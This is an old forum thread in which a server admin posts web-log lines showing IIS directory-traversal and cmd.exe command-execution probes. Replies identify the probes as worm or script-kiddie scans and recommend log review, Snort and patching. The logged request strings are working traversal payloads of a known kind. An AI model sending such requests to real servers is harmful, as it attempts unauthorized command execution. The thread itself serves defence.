Hello All,

I was looking at our Web Server log files last night and I saw what I think is a hack attempt. I am not sure, but it seems like the person thought this was a Windows box and I see that they tried to get a hold of cmd.exe, thus a Windows config file which I assume was meant for not so friendly purposes...can anybody give me a hint if this is indeed a hack attack???

Here is a cut from the logs:


172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 283
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
172.190.33.167 - - [14/Nov/2003:21:07:05 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338
172.190.33.167 - - [14/Nov/2003:21:07:06 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
172.190.33.167 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
172.190.33.167 - - [14/Nov/2003:21:07:08 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

hi,
looks like a part of an IIS exploit.

try: http://securityfocus.com/ for more info.

There was a worm used this code too, can't rember it's name something like nimda!?

This person tried to get in through my Web Server, thus port 80 in this case, but how can I monitor the rest of my ports?

Well, you don't really monitor "ports" per se, but rather applications (after all, it's not good hitting a port if nothing exploitable is listening on it for traffic). You should review all your application logs regularly for suspicious behavior. There are several scripts out there to pick out odd log entries and bring them to your attention. Logwatch is one of them that comes to mind, but there are many others.

For monitoring all network traffic you'll want a Network Intrusion Detection System. Snort is by far the most popular of these. Nearly every Linux and BSD distribution has a pre-built package with Snort. You can also check www.snort.org.

if you run an IDS for any period of time you'll learn that your machine will be scanned/tested for these IIS exploits nearly every day, its very common, just make sure you dont run it or if you do, patch it to buggery, patch patch patch patch and you'll be ok, usually its just oportunistic script kiddies scanning large blocks